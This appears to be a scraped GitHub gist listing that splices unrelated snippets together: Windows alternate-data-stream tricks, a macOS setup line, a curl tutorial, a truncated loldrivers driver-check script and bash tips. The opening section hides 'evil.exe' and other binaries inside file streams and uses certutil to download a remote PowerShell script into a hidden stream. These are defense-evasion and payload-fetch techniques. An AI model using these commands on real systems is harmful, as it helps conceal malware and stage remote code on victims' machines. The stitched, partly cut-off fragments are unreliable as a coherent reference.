Boyd Fields boydfields

Add content to ADS

type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"

extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe

findstr /V /L W3AllLov3DonaldTrump c:\ADS\procexp.exe > c:\ADS\file.txt:procexp.exe

certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt

makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab

⚠️ The following configuration has been tested on Intel, M1 & M2 Ships ⚠️

If you have any issues with macOS, or need anything related to it check this documentation

Install Xcode Command Line tools :

An introduction to curl using GitHub's API.

Makes a basic GET request to the specifed URI

curl https://api.github.com/users/caspyin

	# Simple script to check drivers in C:\windows\system32\drivers against the loldrivers list
	# Author: Oddvar Moe - @oddvar.moe

	$drivers = get-childitem -Path c:\windows\system32\drivers
	$web_client = new-object system.net.webclient
	$loldrivers = $web_client.DownloadString(" https://www.loldrivers.io/api/drivers.json") \| ConvertFrom-Json

	Write-output("Checking {0} drivers in C:\windows\system32\drivers against loldrivers.io json file" -f $drivers.Count)
	foreach ($lol in $loldrivers.KnownVulnerableSamples)
	{

	-------------------------------------------------------------------------------------------------------------------------------------------------
	$ bash --version #bash acronym for "Bourne Again Shell"
	$ man bash \| grep -C2 '$@' #"$@" as explained below under Special Parameters
	-----------------------------------------------------------------------------------------------------
	#Current Shell

	$ echo $SHELL
	$ echo $0
	$ readlink /proc/$$/exe
	$ cat /proc/$$/cmdline

	# Run the last command as root
	sudo !!
	# Serve current directory tree at http://$HOSTNAME:8000/
	python -m SimpleHTTPServer
	# Save a file you edited in vim without the needed permissions
	:w !sudo tee %
	# change to the previous working directory
	cd -
	# Runs previous command but replacing
	^foo^bar